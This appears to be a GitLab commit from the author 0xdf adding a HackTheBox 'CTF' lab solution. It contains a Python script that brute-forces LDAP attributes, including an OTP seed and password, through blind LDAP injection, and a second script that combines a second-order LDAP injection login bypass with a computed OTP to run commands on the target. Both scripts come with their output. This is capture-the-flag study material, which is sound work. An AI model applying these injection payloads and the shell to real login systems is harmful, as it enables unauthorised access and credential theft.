Commit a1e0594d authored by 0xdf's avatar 0xdf

ctf

parent f74771b0
## Challenge
[CTF](https://www.hackthebox.eu/home/machines/profile/172) from Hackthebox.eu
## brute_stuff.py
### Description
I can use a blind ldap injection to brute force various fields in the ldap database.
### Reference
Originally published in blog posts: [https://0xdf.gitlab.io/2019/07/20/htb-ctf.html#leak-otp-seed](https://0xdf.gitlab.io/2019/07/20/htb-ctf.html#leak-otp-seed).
### Usage
```
root@kali# ./brute_stuff.py all
Bruting Username
ldapuser
Bruting mail
ldapuser@ctf.htb
Bruting pager
285449490011357156531651545652335570713167411445727140604172141456711102716717000
Bruting userPassword
```
## ctf-shell.py
### Description
The web page allows for commands to be run, but I must log in with a name that allows a second-order ldap injection, and then must use an extracted seed to calcuate the current OTP, taking into account time differences between my box and the target. It would be possible (and probably fun) to create a stateful shell using the same technique I used in [Stratosphere](https://0xdf.gitlab.io/2018/09/01/htb-stratosphere.html#building-a-shell). That is left as an exertize for the reader. This is a stateless shell.
### Reference
Originally published in blog posts as beyond root: [https://0xdf.gitlab.io/2019/07/20/htb-ctf.html#shell-as-apache-1](https://0xdf.gitlab.io/2019/07/20/htb-ctf.html#shell-as-apache-1).
### Usage
```
root@kali:~/hackthebox/ctf-10.10.10.122# ./ctf-shell.py
CTF> id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
CTF> pwd
/var/www/html
```
#!/usr/bin/env python3
import requests
import string
import sys
import time
def brute_next_char(inputUsernameStr, chars):
for c in chars:
while True:
try:
time.sleep(0.3)
resp = requests.post('http://10.10.10.122/login.php', data={'inputUsername': inputUsernameStr.format(c=c), 'inputOTP': '0000'})
break
except requests.exceptions.ConnectionError:
time.sleep(10)
continue
if 'Cannot login' in resp.text:
sys.stdout.write(c)
sys.stdout.flush()
return c
return ''
def brute_username():
username = ''
while True:
next_char = brute_next_char(f'{username}{{c}}%2a', string.ascii_lowercase)
if next_char == '':
break
username += next_char
print()
return username
def brute_attribute(attrib, character_set):
otp = ''
while True:
next_dig = brute_next_char(f'ldapuser%29%28{attrib}%3d{otp}{{c}}%2a', character_set)
if next_dig == '':
break
otp += next_dig
print()
return otp
options = 'all username mail pager userPassword'.split(' ')
user_opt = sys.argv[1] if len(sys.argv) > 1 else 'all'
if user_opt not in options:
print("Usage: {} [attribute]\nAvailable Options:\n {}\n".format(sys.argv[0], '\n '.join(options)))
sys.exit()
if user_opt in ['all', 'username']:
print("Bruting Username")
brute_username()
if user_opt in ['all', 'mail']:
print("Bruting mail")
brute_attribute('mail', string.ascii_lowercase + string.digits + '@.')
if user_opt in ['all', 'pager']:
print("Bruting pager")
brute_attribute('pager', string.digits)
if user_opt in ['all', 'userPassword']:
print("Bruting userPassword")
brute_attribute('userPassword', string.printable)
#!/usr/bin/env python3
import calendar
import re
import requests
import time
from cmd import Cmd
#from datetime import datetime
from subprocess import Popen, PIPE
class CTF_TERM(Cmd):
prompt = "CTF> "
def __init__(self, proxy=None):
super().__init__()
self.interval = 1.3
self.seed = '285449490011357156531651545652335570713167411445727140604172141456711102716717000'
self.s = requests.session()
if proxy: self.s.proxies = proxy
# Get Time From Box
r = self.s.get('http://10.10.10.122/login.php')
local = time.gmtime()
server = time.strptime(r.headers['Date'], "%a, %d %b %Y %H:%M:%S %Z")
self.offset = time.mktime(local) - time.mktime(server)
# Login
self.s.post('http://10.10.10.122/login.php',
data = {"inputUsername": "ldapuser%29%29%29%00",
"inputOTP": self.get_otp()})
def get_otp(self):
process = Popen(['stoken', f'--token={self.seed}', f'--use-time=-{self.offset}', '--pin=0000'],
stdout=PIPE)
out,err = process.communicate()
return out.decode().strip()
def default(self, cmd):
resp = self.s.post('http://10.10.10.122/page.php',
data = {"inputCmd": cmd, "inputOTP": self.get_otp()})
result = re.findall(r'<pre>(.*)</pre>', resp.text, re.DOTALL)
if len(result) > 0:
print(result[0].rstrip())
term = CTF_TERM(proxy={"http":"http://127.0.0.1:8080"})
try:
term.cmdloop()
except KeyboardInterrupt:
print()
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment